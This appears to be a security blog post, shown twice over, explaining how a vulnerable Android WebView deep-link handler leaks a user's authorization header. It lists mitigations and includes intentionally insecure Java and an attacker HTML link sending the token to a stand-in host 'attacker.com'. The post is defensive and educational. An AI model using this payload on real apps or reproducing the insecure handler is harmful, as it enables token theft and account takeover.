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How Threat Actors are Exploiting Android Webview

How Threat Actors are Exploiting Android Webview

September 5, 2022
Green Alert
Last Update posted on
February 3, 2024
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What is a WebView

WebView is a simple but powerful way to present web-based content in Android. It is used as a dedicated web browser instance of an application that can deliver web pages to users. WebView was first released as a part of Android 4.4. Since Android 5.0, it is included as a system application.

Applications of WebView:

  • Hybrid frameworks such as Cordova or PhoneGap (except Flutter) wrap HTML/Javascript applications into the native Android container and use WebView to make it work.
  • Applications, such as banking apps, use WebView to present content like “terms and conditions”, which change constantly.
  • Companies with small budgets can build mobile applications that render web content using WebView.

What is the Problem?

Threat

WebView vulnerabilities that allow threat actors to:

    • Load arbitrary URLs
    • Execute JavaScript code
    • Execute code remotely

Impact

  • The leak of authentication tokens
  • Access to JavaScript interfaces
  • Attacks on internal handlers
  • Theft of arbitrary files via XHR queries
  • Access to cookies
  • The exploitation of content providers

Mitigation

  • Validate the origin (host and scheme) of external links loaded in WebView.  
  • Ensure that JavaScript called using externally obtained data is sanitized.

How to Exploit

We will use the following AndroidManifest.xml file to understand how threat actors can exploit WebView

<activity android:name=”.DeeplinkActivity”>

<intent-filter>

<action android:name=”android.intent.action.VIEW” />

<category android:name=”android.intent.category.DEFAULT” />

<data android:scheme=”myapp” android:host=”deeplink” />

</intent-filter>

</activity>

Let’s assume that this file can process WebView deep links:

public class DeeplinkActivity extends Activity {

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

handleDeeplink(getIntent());

}

private void handleDeeplink(Intent intent) {

Uri deeplink = intent.getData();

if (“/webview”.equals(deeplink.getPath())) {

String url = deeplink.getQueryParameter(“url”);

handleWebViewDeeplink(url);

}

}

private void handleWebViewDeeplink(String url) {

WebView webView = …;

setupWebView(webView);

webView.loadUrl(url, getAuthHeaders());

}

private Map<String, String> getAuthHeaders() {

Map<String, String> headers = new HashMap<>();

headers.put(“Authorization”, getUserToken());

return headers;

}

}

In this case an attacker can carry out a remote attack to obtain the user’s authentication token by creating a page with the following code:

<html>

<body style=”text-align: center;”>

<h1><a href=”myapp://deeplink/webview?url=https://attacker.com/“>Click Me!</a></h1>

</body></html>

When the victim clicks on the “click me” button, the vulnerable app will open https://attacker[.]com, in the WebView, along with the authorization header. The attacker can use the stolen authentication tokens to gain full access to the victim’s account.

References

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Engineering

min read

How Threat Actors are Exploiting Android Webview

How Threat Actors are Exploiting Android Webview

Authors
Co-Authors
No items found.

What is a WebView

WebView is a simple but powerful way to present web-based content in Android. It is used as a dedicated web browser instance of an application that can deliver web pages to users. WebView was first released as a part of Android 4.4. Since Android 5.0, it is included as a system application.

Applications of WebView:

  • Hybrid frameworks such as Cordova or PhoneGap (except Flutter) wrap HTML/Javascript applications into the native Android container and use WebView to make it work.
  • Applications, such as banking apps, use WebView to present content like “terms and conditions”, which change constantly.
  • Companies with small budgets can build mobile applications that render web content using WebView.

What is the Problem?

Threat

WebView vulnerabilities that allow threat actors to:

    • Load arbitrary URLs
    • Execute JavaScript code
    • Execute code remotely

Impact

  • The leak of authentication tokens
  • Access to JavaScript interfaces
  • Attacks on internal handlers
  • Theft of arbitrary files via XHR queries
  • Access to cookies
  • The exploitation of content providers

Mitigation

  • Validate the origin (host and scheme) of external links loaded in WebView.  
  • Ensure that JavaScript called using externally obtained data is sanitized.

How to Exploit

We will use the following AndroidManifest.xml file to understand how threat actors can exploit WebView

<activity android:name=”.DeeplinkActivity”>

<intent-filter>

<action android:name=”android.intent.action.VIEW” />

<category android:name=”android.intent.category.DEFAULT” />

<data android:scheme=”myapp” android:host=”deeplink” />

</intent-filter>

</activity>

Let’s assume that this file can process WebView deep links:

public class DeeplinkActivity extends Activity {

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

handleDeeplink(getIntent());

}

private void handleDeeplink(Intent intent) {

Uri deeplink = intent.getData();

if (“/webview”.equals(deeplink.getPath())) {

String url = deeplink.getQueryParameter(“url”);

handleWebViewDeeplink(url);

}

}

private void handleWebViewDeeplink(String url) {

WebView webView = …;

setupWebView(webView);

webView.loadUrl(url, getAuthHeaders());

}

private Map<String, String> getAuthHeaders() {

Map<String, String> headers = new HashMap<>();

headers.put(“Authorization”, getUserToken());

return headers;

}

}

In this case an attacker can carry out a remote attack to obtain the user’s authentication token by creating a page with the following code:

<html>

<body style=”text-align: center;”>

<h1><a href=”myapp://deeplink/webview?url=https://attacker.com/“>Click Me!</a></h1>

</body></html>

When the victim clicks on the “click me” button, the vulnerable app will open https://attacker[.]com, in the WebView, along with the authorization header. The attacker can use the stolen authentication tokens to gain full access to the victim’s account.

References